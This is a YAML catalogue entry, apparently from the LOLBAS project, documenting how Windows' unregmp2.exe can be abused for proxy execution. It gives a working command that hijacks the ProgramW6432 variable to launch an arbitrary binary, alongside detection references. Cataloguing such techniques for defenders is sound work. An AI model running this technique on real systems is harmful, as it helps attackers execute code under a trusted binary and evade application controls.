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1072d3dc34
* Add sigma ref * Add missing sigma ref * Fix sigma link * Remove by Defender * Remove by Defender
25 lines
1.3 KiB
YAML
25 lines
1.3 KiB
YAML
---
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Name: Unregmp2.exe
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Description: Microsoft Windows Media Player Setup Utility
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Author: 'Wade Hickey'
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Created: 2021-12-06
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Commands:
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- Command: rmdir %temp%\lolbin /s /q 2>nul & mkdir "%temp%\lolbin\Windows Media Player" & copy C:\Windows\System32\calc.exe "%temp%\lolbin\Windows Media Player\wmpnscfg.exe" >nul && cmd /V /C "set "ProgramW6432=%temp%\lolbin" && unregmp2.exe /HideWMP"
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Description: Allows an attacker to copy a target binary to a controlled directory and modify the 'ProgramW6432' environment variable to point to that controlled directory, then execute 'unregmp2.exe' with argument '/HideWMP' which will spawn a process at the hijacked path '%ProgramW6432%\wmpnscfg.exe'.
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Usecase: Proxy execution of binary
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Category: Execute
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Privileges: User
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MitreID: T1202
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OperatingSystem: Windows 10
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Full_Path:
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- Path: C:\Windows\System32\unregmp2.exe
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- Path: C:\Windows\SysWOW64\unregmp2.exe
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_unregmp2.yml
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- IOC: Low-prevalence binaries, with filename 'wmpnscfg.exe', spawned as child-processes of `unregmp2.exe /HideWMP`
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Resources:
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- Link: https://twitter.com/notwhickey/status/1466588365336293385
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Acknowledgement:
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- Person: Wade Hickey
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Handle: '@notwhickey'
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